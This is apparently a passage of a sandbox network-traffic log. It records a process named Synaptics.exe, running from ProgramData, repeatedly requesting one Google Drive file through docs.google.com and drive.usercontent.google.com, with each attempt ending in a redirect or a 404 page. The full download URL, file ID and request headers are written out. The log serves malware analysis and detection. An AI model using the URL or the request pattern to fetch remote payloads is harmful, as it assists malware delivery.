2024-07-25 19:55:25 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-GSEgtBZM67QMipV9Eehgnw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.8	49849	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:26 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-lurBAKH1MxIlnQ45sKGxoA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	49847	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:26 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:26 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:26 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-owj60LWd1DJJ_84xJ5ZZmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nO8z1eg2Xf7G9WY7DJ8GuKtgQBLS3tZuhjxM9pnB33y9Qi9ixvmWl5TxCA6XGYkKRcBmSDv2CXhvA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:26 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:26 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 72 63 56 68 38 44 30 6d 79 56 61 2d 35 5a 32 67 55 71 33 64 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="WrcVh8D0myVa-5Z2gUq3dA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:26 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.8	49848	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:26 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-f0xiRVH6JUXAPsPWy_MJtA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.8	49850	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:26 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:26 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:26 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-2CNYJuYQIMwNn-BlM3B9Gw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nMX2eYYne0XqpqYwaNhHULg3jvhBqaN2IxC5j4JvCZxxIGq9NF3kHS4tWZ5oBkIcX-uG5c Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:26 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:26 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 7a 44 6f 6f 4f 67 33 31 30 56 58 37 34 6b 74 4e 33 74 45 76 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="ezDooOg310VX74ktN3tEvQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:26 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.8	49853	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:27 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.8	49854	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:27 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	49855	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:27 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:27 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:27 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-g1yL0TDgiJjpcxyVrBUxng' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nPlB6CQgcXaG_nlbOdnOQ46Eob2Q3TB-draAVOFz9jMHW7hjkpvVgyac8MPDQld2a_zA-ESY3_W5A Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:27 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:27 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 70 78 4f 61 31 77 34 42 6e 70 75 64 55 4d 35 75 4c 42 54 58 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="5pxOa1w4BnpudUM5uLBTXQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:27 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.8	49858	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:28 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Zm_EfWhQhrBa-YIWY-q4qQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.8	49857	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:28 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-jQgfNjoHkfbv64XKDzCT6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.8	49860	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:29 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
